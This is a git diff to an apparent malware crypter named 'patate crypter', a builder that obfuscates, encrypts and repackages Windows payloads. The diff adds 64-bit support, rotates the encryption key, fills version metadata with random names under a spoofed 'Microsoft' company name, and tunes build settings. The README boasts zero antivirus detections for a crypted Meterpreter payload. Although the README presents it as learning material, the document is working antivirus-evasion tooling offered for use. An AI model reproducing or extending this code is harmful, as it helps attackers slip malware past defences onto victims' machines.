diff --git a/Builder/gui.py b/Builder/gui.py
index 14bd21b..fd1605d 100644
--- a/Builder/gui.py
+++ b/Builder/gui.py
@@ -37,6 +37,7 @@ from PyQt5.QtGui import QPixmap
 from obfuscation import obfuscate
 from metadata import change_metadata
 import os, shutil, glob
+import pefile
 
 class Ui_mainWindow(object):
     def __init__(self) :
@@ -141,6 +142,7 @@ class Ui_mainWindow(object):
         self.checkBox_3.setText(_translate("mainWindow", "Control flow"))
     
     def generate(self) :
+        is_64bit = False
         in_filename = self.filepath
         out_filename = "../bin/" + self.pushButton.text().split(".")[0] + "_out.exe"
         xor_key = ''
@@ -155,6 +157,19 @@ class Ui_mainWindow(object):
             QCoreApplication.processEvents()
             return
     
+        try :
+            pe = pefile.PE(in_filename)
+        except :
+            self.label_2.setText("File is not a binary.")
+            QCoreApplication.processEvents()
+            return
+        if hex(pe.FILE_HEADER.Machine) == '0x14c':
+            self.label_2.setText("File is a 32-bit binary")
+        else:
+            self.label_2.setText("File is a 64-bit binary")
+            is_64bit = True
+        QCoreApplication.processEvents()
+
         self.label_2.setText("Creating sample header...")
         QCoreApplication.processEvents()
         
@@ -184,7 +199,7 @@ class Ui_mainWindow(object):
         
         self.label_2.setText("Adding junk code...")
         QCoreApplication.processEvents()
-        obfuscate(self.spinBox.value(), self.spinBox_2.value(), self.cflow, self.junk)
+        obfuscate(self.spinBox.value(), self.spinBox_2.value(), self.cflow, self.junk, is_64bit)
         self.label_2.setText("done.")
         QCoreApplication.processEvents()
         
@@ -201,7 +216,11 @@ class Ui_mainWindow(object):
         vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe
         cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"
         
-        return_code = os.system("\""+cmd_line+"\" ../Crypter /p:Configuration=Release;Platform=x86;OutDir=.;DebugSymbols=false;DebugType=None;Zm=5000;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+"  /t:Rebuild")
+        if is_64bit :
+            return_code = os.system("\""+cmd_line+"\" ../Crypter /p:Configuration=Release;Platform=x64;OutDir=.;DebugSymbols=false;DebugType=None;Zm=5000;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+"  /t:Rebuild")
+        else :
+            return_code = os.system("\""+cmd_line+"\" ../Crypter /p:Configuration=Release;Platform=x86;OutDir=.;DebugSymbols=false;DebugType=None;Zm=5000;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+"  /t:Rebuild")
+
         
         if return_code :
             self.label_2.setText("build failed.")
diff --git a/Builder/obfuscation.py b/Builder/obfuscation.py
index 679c929..d4a35ac 100644
--- a/Builder/obfuscation.py
+++ b/Builder/obfuscation.py
@@ -149,7 +149,7 @@ def GetRandomControlFlow():
     return cpp_code
 
 FILES_TO_OBFUSCATE = {"../Crypter/main.cpp":"../Crypter/DO_NOT_TOUCH.cpp"}# "getapi.cpp":"DO_NOT_TOUCH_API.cpp"}
-def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
+def obfuscate(PASS, CFLOW_PASS, cflow, junk, is64bit) :
     if PASS < CFLOW_PASS : PASS = CFLOW_PASS
     
     if not cflow and not junk : PASS = 0
@@ -237,7 +237,7 @@ def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
                 if GetRandomBool() and in_func : # do we call a function ?
                     out.append(CallRandomFunction()+"\n")
                 
-                if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ?
+                if GetRandomBool() and in_func and cflow and k < CFLOW_PASS and not is64bit : # do we mess up control flow ?
                     out.append(GetRandomAssemblyBlock()+"\n")
                 
                 if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ?
diff --git a/Builder/requirements.txt b/Builder/requirements.txt
index df7496a..3722897 100644
--- a/Builder/requirements.txt
+++ b/Builder/requirements.txt
@@ -1,2 +1,3 @@
 pillow
-pywin32
\ No newline at end of file
+pywin32
+pefile
\ No newline at end of file
diff --git a/Crypter/config.h b/Crypter/config.h
index 7961931..050b930 100644
--- a/Crypter/config.h
+++ b/Crypter/config.h
@@ -1,2 +1,2 @@
 #pragma once
-#define KEY "mkhjqsdhfjbzqfcqzf"
\ No newline at end of file
+#define KEY "pqihzifvqzidbzq"
\ No newline at end of file
diff --git a/Crypter/patate-crypter.rc b/Crypter/patate-crypter.rc
index 3370a49..7e1cd16 100644
--- a/Crypter/patate-crypter.rc
+++ b/Crypter/patate-crypter.rc
@@ -68,12 +68,12 @@ BEGIN
         BLOCK "040c04b0"
         BEGIN
 			VALUE "CompanyName", "Microsoft"
-			VALUE "FileDescription", "clgdknugqsthezarlwbq"
+			VALUE "FileDescription", "mwqaxnynrtvjaafmtwew"
 			VALUE "FileVersion", "1.0.0.1"
-			VALUE "InternalName", "yhoqres.exe"
+			VALUE "InternalName", "hoflypx.exe"
 			VALUE "LegalCopyright", "Copyright (C) 2023"
-			VALUE "OriginalFilename", "erbggay.exe"
-			VALUE "ProductName", "awwmoqx.exe"
+			VALUE "OriginalFilename", "ckhvspq.exe"
+			VALUE "ProductName", "rrrxbyl.exe"
             VALUE "ProductVersion", "1.0.0.1"
         END
     END
diff --git a/Crypter/patate-crypter.vcxproj b/Crypter/patate-crypter.vcxproj
index 4c4935b..7f73446 100644
--- a/Crypter/patate-crypter.vcxproj
+++ b/Crypter/patate-crypter.vcxproj
@@ -49,7 +49,7 @@
     <ConfigurationType>Application</ConfigurationType>
     <UseDebugLibraries>false</UseDebugLibraries>
     <PlatformToolset>v143</PlatformToolset>
-    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
     <CharacterSet>MultiByte</CharacterSet>
   </PropertyGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
@@ -138,6 +138,7 @@
       <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
       <ConformanceMode>true</ConformanceMode>
       <LanguageStandard>stdcpp17</LanguageStandard>
+      <OmitFramePointers>false</OmitFramePointers>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>
@@ -148,20 +149,24 @@
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     <ClCompile>
       <WarningLevel>Level3</WarningLevel>
-      <FunctionLevelLinking>true</FunctionLevelLinking>
-      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <FunctionLevelLinking>false</FunctionLevelLinking>
+      <IntrinsicFunctions>false</IntrinsicFunctions>
       <SDLCheck>true</SDLCheck>
       <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
       <ConformanceMode>true</ConformanceMode>
       <LanguageStandard>stdcpp17</LanguageStandard>
       <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <Optimization>Disabled</Optimization>
+      <OmitFramePointers>false</OmitFramePointers>
+      <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
     </ClCompile>
     <Link>
-      <SubSystem>Console</SubSystem>
-      <EnableCOMDATFolding>true</EnableCOMDATFolding>
-      <OptimizeReferences>true</OptimizeReferences>
-      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <SubSystem>Windows</SubSystem>
+      <EnableCOMDATFolding>false</EnableCOMDATFolding>
+      <OptimizeReferences>false</OptimizeReferences>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
       <AdditionalOptions>/NXCOMPAT:no %(AdditionalOptions)</AdditionalOptions>
+      <GenerateWindowsMetadata>false</GenerateWindowsMetadata>
     </Link>
   </ItemDefinitionGroup>
   <ItemGroup>
diff --git a/Crypter/patate-crypter.vcxproj.filters b/Crypter/patate-crypter.vcxproj.filters
index 6ebff34..db9ee56 100644
--- a/Crypter/patate-crypter.vcxproj.filters
+++ b/Crypter/patate-crypter.vcxproj.filters
@@ -18,9 +18,6 @@
     <ClCompile Include="main.cpp">
       <Filter>Fichiers sources</Filter>
     </ClCompile>
-    <ClCompile Include="anti_emu.cpp">
-      <Filter>Fichiers sources</Filter>
-    </ClCompile>
   </ItemGroup>
   <ItemGroup>
     <ClInclude Include="config.h">
@@ -32,9 +29,6 @@
     <ClInclude Include="sample.h">
       <Filter>Fichiers d%27en-tête</Filter>
     </ClInclude>
-    <ClInclude Include="anti_emu.h">
-      <Filter>Fichiers d%27en-tête</Filter>
-    </ClInclude>
   </ItemGroup>
   <ItemGroup>
     <ResourceCompile Include="patate-crypter.rc">
diff --git a/README.md b/README.md
index eb4c8e3..2edbf79 100644
--- a/README.md
+++ b/README.md
@@ -4,14 +4,15 @@ The project structure is **very** messy because i wasn't planning on releasing i
 I will not provide any support for running the program, it is only made for people interested in cyber security to learn more about how AV work.
 
 # Limitations
-patate crypter officially supports 32bit DLLs and PEs. It might be possible to add x64 bit support without too much issues, but i never tried, maybe one day.<br>
+patate crypter officially supports 32bit and 64bit DLLs and PEs.<br>
 There is an issue where the reallocations would fail for specific payloads, TOFIX.<br>
 There is code in the `metadata.py` file to generate random BMP images in the metadata of the PE but it makes the entropy go way to high (from 6.4 to 7.4) (see [link](https://practicalsecurityanalytics.com/file-entropy/)).
 
 # Detection rate
 There is currently 0/40 detections for a crypted meterperter :
 - [original meterpreter](https://www.kleenscan.com/scan_result/6ea55d54a947393082f524215c28185ef90a7ec9cb9c50f25c555715b61b0e3e)
-- [crypted](https://www.kleenscan.com/scan_result/697277eeddc7cf01ffc81430e3c549488e3a96970edb9ec8d96860d9135eac54)
+- [crypted 32 bit](https://www.kleenscan.com/scan_result/697277eeddc7cf01ffc81430e3c549488e3a96970edb9ec8d96860d9135eac54)
+- [crypted 64 bit](https://www.kleenscan.com/scan_result/9c0ae91e19425ff4c2d8120f1cb787f0480c7780faa6e1e57517b2aea831e272)
 
 # How does it work ?
 The crypter (compile time) works by :